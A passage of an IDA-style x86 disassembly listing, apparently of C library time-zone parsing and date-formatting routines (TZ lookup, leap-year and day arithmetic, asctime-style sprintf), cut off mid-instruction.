CODE XREF: sub_805AAC0+2A7j test ebx, ebx jz loc_805AAED cmp [ebp+var_4C], 0 jz loc_805AAED xor ebx, ebx mov [ebp+var_54], 0 mov ecx, [ebp+var_54] mov edi, [ebp+arg_4] cmp [edi+4], ecx jle loc_805AEBF db 8Dh,76h,0 ; lea esi, [esi+0] loc_805AE40: ; CODE XREF: sub_805AAC0+3C3j mov ecx, [ebp+arg_4] mov edi, [ebp+var_54] movzx eax, byte ptr [edi+ecx+5D8h] shl eax, 4 lea edx, [ecx+eax+74Ch] mov eax, [ecx+edi*4+10h] test ebx, ebx jz short loc_805AE6C cmp dword ptr [edx+0Ch], 0 jnz short loc_805AE6C add eax, esi jmp short loc_805AE6F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805AE6C: ; CODE XREF: sub_805AAC0+39Ej ; sub_805AAC0+3A4j add eax, [ebp+var_58] loc_805AE6F: ; CODE XREF: sub_805AAC0+3A8j mov ecx, [ebp+var_54] mov edi, [ebp+arg_4] mov [edi+ecx*4+10h], eax mov ebx, [edx+4] inc ecx mov [ebp+var_54], ecx cmp [edi+4], ecx jg short loc_805AE40 jmp short loc_805AEBF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AE88: ; CODE XREF: sub_805AAC0+92j mov [ebp+var_40], 0 mov ecx, [ebp+arg_4] mov dword ptr [ecx+8], 1 mov dword ptr [ecx+4], 0 mov edi, [ebp+var_4] neg edi mov [ecx+74Ch], edi mov dword ptr [ecx+750h], 0 mov dword ptr [ecx+754h], 0 loc_805AEBF: ; CODE XREF: sub_805AAC0+26Dj ; sub_805AAC0+377j ... mov edi, [ebp+var_3C] inc edi mov ecx, [ebp+arg_4] mov [ecx+0Ch], edi cmp [ebp+var_40], 0 jz short loc_805AED9 mov eax, [ecx+0Ch] inc eax add eax, [ebp+var_40] mov [ecx+0Ch], eax loc_805AED9: ; CODE XREF: sub_805AAC0+40Dj mov ecx, [ebp+arg_4] cmp dword ptr [ecx+0Ch], 33h ja loc_805AAED mov ebx, [ebp+arg_4] add ebx, 174Ch mov edi, [ebp+var_3C] push edi mov ecx, [ebp+var_34] push ecx push ebx call strncpy add ebx, edi mov byte ptr [ebx], 0 inc ebx add esp, 0Ch cmp [ebp+var_40], 0 jz short loc_805AF1E mov edi, [ebp+var_40] push edi mov ecx, [ebp+var_38] push ecx push ebx call strncpy mov byte ptr [edi+ebx], 0 loc_805AF1E: ; CODE XREF: sub_805AAC0+44Aj xor eax, eax loc_805AF20: ; CODE XREF: sub_805AAC0+32j lea esp, [ebp+var_64] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805AAC0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805AF2C proc near ; CODE XREF: sub_805AF5C+A0p ; sub_805B010+25p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push ebx push offset unk_8068EA0 call sub_805A254 add esp, 8 test eax, eax jz short loc_805AF52 push 1 push ebx push offset unk_8068EA0 call sub_805AAC0 loc_805AF52: ; CODE XREF: sub_805AF2C+17j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805AF2C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805AF5C proc near ; CODE XREF: sub_805B048+1Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ebx push offset aTz ; "TZ" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805AF80 call sub_805B010 jmp loc_805B009 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805AF80: ; CODE XREF: sub_805AF5C+15j mov ds:dword_807E300, 1 cmp byte ptr [ebx], 0 jnz short loc_805AFCC mov ds:dword_807B0E0, 0 mov ds:dword_807B0E4, 0 mov ds:dword_807B82C, 0 mov ds:dword_807B834, 0 push offset unk_8068EA0 push offset unk_807C82C call strcpy add esp, 8 jmp short loc_805B004 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AFCC: ; CODE XREF: sub_805AF5C+31j push offset dword_807B0E0 push ebx call sub_805A254 add esp, 8 test eax, eax jz short loc_805B004 cmp byte ptr [ebx], 3Ah jz short loc_805AFF7 push 0 push offset dword_807B0E0 push ebx call sub_805AAC0 add esp, 0Ch test eax, eax jz short loc_805B004 loc_805AFF7: ; CODE XREF: sub_805AF5C+85j push offset dword_807B0E0 call sub_805AF2C add esp, 4 loc_805B004: ; CODE XREF: sub_805AF5C+6Dj ; sub_805AF5C+80j ... call sub_805A11C loc_805B009: ; CODE XREF: sub_805AF5C+1Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805AF5C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B010 proc near ; CODE XREF: sub_805AF5C+17p push ebp mov ebp, esp mov ds:dword_807E300, 1 push offset dword_807B0E0 push 0 call sub_805A254 add esp, 8 test eax, eax jz short loc_805B03D push offset dword_807B0E0 call sub_805AF2C add esp, 4 loc_805B03D: ; CODE XREF: sub_805B010+1Ej call sub_805A11C mov esp, ebp pop ebp retn sub_805B010 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B048 proc near ; CODE XREF: sub_805B10C+Ep ; sub_805B128+Ep ; DATA XREF: ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov eax, [ebp+arg_0] mov edi, [ebp+arg_8] mov eax, [eax] mov [ebp+var_4], eax cmp ds:dword_807E300, 0 jnz short loc_805B06A call sub_805AF5C loc_805B06A: ; CODE XREF: sub_805B048+1Bj mov esi, offset dword_807B0E0 cmp ds:dword_807B0E4, 0 jz short loc_805B083 mov eax, [ebp+var_4] cmp ds:dword_807B0F0, eax jle short loc_805B0AC loc_805B083: ; CODE XREF: sub_805B048+2Ej xor eax, eax cmp dword ptr [esi+750h], 0 jz short loc_805B0D0 xor edx, edx loc_805B090: ; CODE XREF: sub_805B048+59j add edx, 10h inc eax cmp [esi+8], eax jle short loc_805B0A8 cmp dword ptr [edx+esi+750h], 0 jnz short loc_805B090 jmp short loc_805B0D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B0A8: ; CODE XREF: sub_805B048+4Fj xor eax, eax jmp short loc_805B0D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B0AC: ; CODE XREF: sub_805B048+39j mov eax, 1 cmp [esi+4], eax jle short loc_805B0C8 mov edx, [ebp+var_4] db 8Dh,76h,0 ; lea esi, [esi+0] loc_805B0BC: ; CODE XREF: sub_805B048+7Ej cmp [esi+eax*4+10h], edx jg short loc_805B0C8 inc eax cmp [esi+4], eax jg short loc_805B0BC loc_805B0C8: ; CODE XREF: sub_805B048+6Cj ; sub_805B048+78j movzx eax, byte ptr [eax+esi+5D7h] loc_805B0D0: ; CODE XREF: sub_805B048+44j ; sub_805B048+5Bj ... mov ebx, eax shl ebx, 4 lea ebx, [esi+ebx+74Ch] push edi push esi mov eax, [ebx] push eax lea eax, [ebp+var_4] push eax call sub_805B1C4 mov edx, [ebx+4] mov [edi+20h], edx mov eax, [ebx+8] add eax, 174Ch add esi, eax mov dword_8078B1C[edx*4], esi lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B048 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B10C proc near ; CODE XREF: sub_805B548+7p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push offset unk_807B06C push 0 push eax call sub_805B048 mov eax, offset unk_807B06C mov esp, ebp pop ebp retn sub_805B10C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B128 proc near ; CODE XREF: sub_805B560+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push 0 push eax call sub_805B048 mov eax, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805B128 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B144 proc near ; CODE XREF: sub_805B18C+Ep ; sub_805B1A8+Ep ; DATA XREF: ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_8] cmp ds:dword_807E304, 0 jnz short loc_805B173 mov ds:dword_807E304, 1 push offset unk_807C9F0 call sub_805AF2C add esp, 4 loc_805B173: ; CODE XREF: sub_805B144+16j push ebx push offset unk_807C9F0 push esi push edi call sub_805B1C4 lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B144 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B18C proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push 0 push eax call sub_805B144 mov eax, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805B18C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B1A8 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push offset unk_807B098 push 0 push eax call sub_805B144 mov eax, offset unk_807B098 mov esp, ebp pop ebp retn sub_805B1A8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B1C4 proc near ; CODE XREF: sub_805B048+9Dp ; sub_805B144+37p var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov [ebp+var_4], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_8] mov ecx, [eax] dec ecx js loc_805B363 mov ebx, [ebp+arg_0] mov esi, [ebx] lea edi, ds:0[ecx*8] mov [ebp+var_C], edi add edi, 0FFFFFFF8h mov [ebp+var_10], edi mov eax, [ebp+var_C] add eax, 1780h mov [ebp+var_1C], eax mov ebx, ecx not ebx mov edx, ebx and edx, 3 cmp ecx, 0FFFFFFFFh jle short loc_805B25C test edx, edx jz short loc_805B27C cmp edx, 3 jge short loc_805B25C cmp edx, 2 jge short loc_805B245 mov edx, [ebp+arg_8] add edx, eax cmp [edx], esi jg short loc_805B23C jnz loc_805B349 mov edi, [ebp+var_8] jmp loc_805B31F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B23C: ; CODE XREF: sub_805B1C4+66j add [ebp+var_10], 0FFFFFFF8h add [ebp+var_1C], 0FFFFFFF8h dec ecx loc_805B245: ; CODE XREF: sub_805B1C4+5Dj mov edx, [ebp+arg_8] add edx, [ebp+var_1C] cmp [edx], esi jle loc_805B31B add [ebp+var_10], 0FFFFFFF8h add [ebp+var_1C], 0FFFFFFF8h dec ecx loc_805B25C: ; CODE XREF: sub_805B1C4+4Fj ; sub_805B1C4+58j mov edx, [ebp+arg_8] add edx, [ebp+var_1C] cmp [edx], esi jle loc_805B31B add [ebp+var_10], 0FFFFFFF8h add [ebp+var_1C], 0FFFFFFF8h dec ecx js loc_805B363 db 8Dh,76h,0 ; lea esi, [esi+0] loc_805B27C: ; CODE XREF: sub_805B1C4+53j ; sub_805B1C4+199j mov edx, [ebp+arg_8] add edx, [ebp+var_1C] cmp [edx], esi jle loc_805B31B add [ebp+var_10], 0FFFFFFF8h dec ecx mov eax, [ebp+var_1C] mov ebx, [ebp+arg_8] lea edx, [ebx+eax-8] cmp [edx], esi jg short loc_805B2CC jnz loc_805B349 mov [ebp+var_8], 0 test ecx, ecx jnz short loc_805B2B8 cmp dword ptr [edx+4], 0 jg loc_805B342 loc_805B2B8: ; CODE XREF: sub_805B1C4+E8j mov ebx, [edx+4] mov edi, [ebp+arg_8] mov eax, [ebp+var_10] cmp [eax+edi+1784h], ebx jge short loc_805B349 jmp short loc_805B342 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B2CC: ; CODE XREF: sub_805B1C4+D7j add [ebp+var_10], 0FFFFFFF8h dec ecx mov edi, [ebp+var_1C] mov eax, [ebp+arg_8] lea edx, [eax+edi-10h] cmp [edx], esi jg short loc_805B308 jnz short loc_805B349 mov [ebp+var_8], 0 test ecx, ecx jnz short loc_805B2F2 cmp dword ptr [edx+4], 0 jg short loc_805B342 loc_805B2F2: ; CODE XREF: sub_805B1C4+126j mov eax, [edx+4] mov ebx, [ebp+arg_8] mov edi, [ebp+var_10] cmp [edi+ebx+1784h], eax jge short loc_805B349 jmp short loc_805B342 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B308: ; CODE XREF: sub_805B1C4+119j add [ebp+var_10], 0FFFFFFF8h dec ecx mov ebx, [ebp+var_1C] mov edi, [ebp+arg_8] lea edx, [edi+ebx-18h] cmp [edx], esi jg short loc_805B354 loc_805B31B: ; CODE XREF: sub_805B1C4+89j ; sub_805B1C4+A0j ... cmp [edx], esi jnz short loc_805B349 loc_805B31F: ; CODE XREF: sub_805B1C4+71j mov [ebp+var_8], 0 test ecx, ecx jnz short loc_805B330 cmp dword ptr [edx+4], 0 jg short loc_805B342 loc_805B330: ; CODE XREF: sub_805B1C4+164j mov edi, [edx+4] mov eax, [ebp+arg_8] mov ebx, [ebp+var_10] cmp [ebx+eax+1784h], edi jge short loc_805B349 loc_805B342: ; CODE XREF: sub_805B1C4+EEj ; sub_805B1C4+106j ... mov [ebp+var_8], 1 loc_805B349: ; CODE XREF: sub_805B1C4+68j ; sub_805B1C4+D9j ... mov edx, [edx+4] mov [ebp+var_4], edx jmp short loc_805B363 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B354: ; CODE XREF: sub_805B1C4+155j add [ebp+var_10], 0FFFFFFF8h add [ebp+var_1C], 0FFFFFFE0h dec ecx jns loc_805B27C loc_805B363: ; CODE XREF: sub_805B1C4+1Dj ; sub_805B1C4+AFj ... mov eax, [ebp+arg_0] mov edx, [eax] mov eax, edx mov ebx, 15180h cdq idiv ebx mov esi, eax mov edi, [ebp+arg_4] sub edi, [ebp+var_4] mov [ebp+var_C], edi add edx, edi jns short loc_805B397 db 8Dh,76h,0 ; lea esi, [esi+0] loc_805B384: ; CODE XREF: sub_805B1C4+1C7j dec esi add edx, 15180h js short loc_805B384 jmp short loc_805B397 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B390: ; CODE XREF: sub_805B1C4+1D9j add edx, 0FFFEAE80h inc esi loc_805B397: ; CODE XREF: sub_805B1C4+1BBj ; sub_805B1C4+1C9j cmp edx, 1517Fh jg short loc_805B390 mov eax, edx mov ebx, 0E10h cdq idiv ebx mov ecx, eax mov edi, [ebp+arg_C] mov [edi+8], ecx mov eax, edx mov ebx, 3Ch cdq idiv ebx mov ecx, eax mov [edi+4], ecx mov [edi], edx cmp [ebp+var_8], 0 jz short loc_805B3CA inc dword ptr [edi] loc_805B3CA: ; CODE XREF: sub_805B1C4+202j lea edx, [esi+4] mov eax, edx mov ebx, 7 cdq idiv ebx mov edi, [ebp+arg_C] mov [edi+18h], edx test edx, edx jge short loc_805B3E5 add dword ptr [edi+18h], 7 loc_805B3E5: ; CODE XREF: sub_805B1C4+21Bj mov [ebp+var_10], 7B2h test esi, esi jl short loc_805B438 loc_805B3F0: ; CODE XREF: sub_805B1C4+272j mov [ebp+var_1C], 0 mov eax, [ebp+var_10] test al, 3 jnz short loc_805B40A mov ebx, 64h cdq idiv ebx test edx, edx jnz short loc_805B419 loc_805B40A: ; CODE XREF: sub_805B1C4+238j mov eax, [ebp+var_10] mov ebx, 190h cdq idiv ebx test edx, edx jnz short loc_805B420 loc_805B419: ; CODE XREF: sub_805B1C4+244j mov [ebp+var_1C], 1 loc_805B420: ; CODE XREF: sub_805B1C4+253j mov edi, [ebp+var_1C] cmp ds:dword_8068F28[edi*4], esi jg short loc_805B477 inc [ebp+var_10] sub esi, ds:dword_8068F28[edi*4] jmp short loc_805B3F0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B438: ; CODE XREF: sub_805B1C4+22Aj ; sub_805B1C4+2B1j dec [ebp+var_10] mov [ebp+var_1C], 0 mov eax, [ebp+var_10] test al, 3 jnz short loc_805B455 mov ebx, 64h cdq idiv ebx test edx, edx jnz short loc_805B464 loc_805B455: ; CODE XREF: sub_805B1C4+283j mov eax, [ebp+var_10] mov ebx, 190h cdq idiv ebx test edx, edx jnz short loc_805B46B loc_805B464: ; CODE XREF: sub_805B1C4+28Fj mov [ebp+var_1C], 1 loc_805B46B: ; CODE XREF: sub_805B1C4+29Ej mov edi, [ebp+var_1C] add esi, ds:dword_8068F28[edi*4] js short loc_805B438 loc_805B477: ; CODE XREF: sub_805B1C4+266j mov ebx, [ebp+var_10] add ebx, 0FFFFF894h mov eax, [ebp+arg_C] mov [eax+14h], ebx mov [eax+1Ch], esi mov edi, [ebp+var_1C] add edi, edi mov eax, [ebp+var_1C] add edi, eax shl edi, 4 mov edx, edi add edx, offset unk_8068EC8 mov ebx, [ebp+arg_C] mov dword ptr [ebx+10h], 0 cmp dword ptr ds:unk_8068EC8[edi], esi jg short loc_805B4C7 loc_805B4B0: ; CODE XREF: sub_805B1C4+301j mov edi, [ebp+arg_C] mov edi, [edi+10h] sub esi, [edx+edi*4] mov eax, [ebp+arg_C] inc dword ptr [eax+10h] mov ebx, [eax+10h] cmp [edx+ebx*4], esi jle short loc_805B4B0 loc_805B4C7: ; CODE XREF: sub_805B1C4+2EAj inc esi mov edi, [ebp+arg_C] mov [edi+0Ch], esi mov dword ptr [edi+20h], 0 lea esp, [ebp+var_28] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B1C4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B4E0 proc near ; CODE XREF: sub_805B530+Cp ; sub_805B560+1Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [edx+14h] add eax, 76Ch push eax mov eax, [edx] push eax mov eax, [edx+4] push eax mov eax, [edx+8] push eax mov eax, [edx+0Ch] push eax mov eax, [edx+10h] lea eax, [eax+eax*2] add eax, offset aJanfebmaraprma ; "JanFebMarAprMayJunJulAugSepOctNovDec%.3"... push eax mov eax, [edx+18h] lea eax, [eax+eax*2] add eax, offset aSunmontuewedth ; "SunMonTueWedThuFriSat" push eax push 8068F77h push ebx call sprintf mov eax, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805B4E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B530 proc near ; CODE XREF: sub_805B548+Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push offset unk_807B0C4 push eax call sub_805B4E0 mov esp, ebp pop ebp retn sub_805B530 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B548 proc near ; CODE XREF: sub_8054EC8+80p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_805B10C push eax call sub_805B530 mov esp, ebp pop ebp retn sub_805B548 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B560 proc near var_2C = byte ptr -2Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] push edx lea edx, [ebp+var_2C] push edx push eax call sub_805B128 add esp, 8 push eax call sub_805B4E0 mov esp, ebp pop ebp retn sub_805B560 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B584 proc near ; CODE XREF: sub_805B61C+30p ; sub_805B61C+42p ... var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov eax, [ebp+arg_8] cmp [ecx], eax jl short loc_805B5B4 mov ebx, [ecx] mov eax, ebx cdq idiv [ebp+arg_8] mov edi, eax add [esi], edi mov ebx, [ecx] mov eax, ebx cdq idiv [ebp+arg_8] mov esi, edx mov [ecx], esi jmp short loc_805B5D3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B5B4: ; CODE XREF: sub_805B584+14j cmp dword ptr [ecx], 0 jge short loc_805B5D3 mov eax, [ecx] inc eax mov ebx, [ebp+arg_8] sub ebx, eax mov eax, ebx cdq idiv [ebp+arg_8] mov ebx, eax mov eax, [ebp+arg_8] imul eax, ebx add [ecx], eax sub [esi], ebx loc_805B5D3: ; CODE XREF: sub_805B584+2Ej ; sub_805B584+33j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B584 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B5E0 proc near ; CODE XREF: sub_805B61C+1A9p ; sub_805B61C+288p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+14h] sub eax, [edx+14h] jnz short loc_805B615 mov eax, [ecx+10h] sub eax, [edx+10h] jnz short loc_805B615 mov eax, [ecx+0Ch] sub eax, [edx+0Ch] jnz short loc_805B615 mov eax, [ecx+8] sub eax, [edx+8] jnz short loc_805B615 mov eax, [ecx+4] sub eax, [edx+4] jnz short loc_805B615 mov eax, [ecx] sub eax, [edx] loc_805B615: ; CODE XREF: sub_805B5E0+Fj ; sub_805B5E0+17j ... mov esp, ebp pop ebp retn sub_805B5E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B61C proc near ; CODE XREF: sub_805B914+26p ; sub_805B914+DBp var_7C = byte ptr -7Ch var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 70h push edi push esi push ebx mov ecx, [ebp+arg_C] mov dword ptr [ecx], 0 lea edi, [ebp+var_2C] mov esi, [ebp+arg_0] cld mov ecx, 0Bh repe movsd cmp [ebp+var_2C], 3Dh jbe short loc_805B654 push 3Ch lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_28] push eax call sub_805B584 add esp, 0Ch loc_805B654: ; CODE XREF: sub_805B61C+24j push 3Ch lea eax, [ebp+var_28] push eax lea ebx, [ebp+var_24] push ebx call sub_805B584 push 18h push ebx lea eax, [ebp+var_20] push eax call sub_805B584 push 0Ch lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax call sub_805B584 add esp, 24h cmp [ebp+var_20], 0 jg short loc_805B6FC nop loc_805B688: ; CODE XREF: sub_805B61C+DDj dec [ebp+var_18] xor ebx, ebx mov eax, [ebp+var_18] cmp 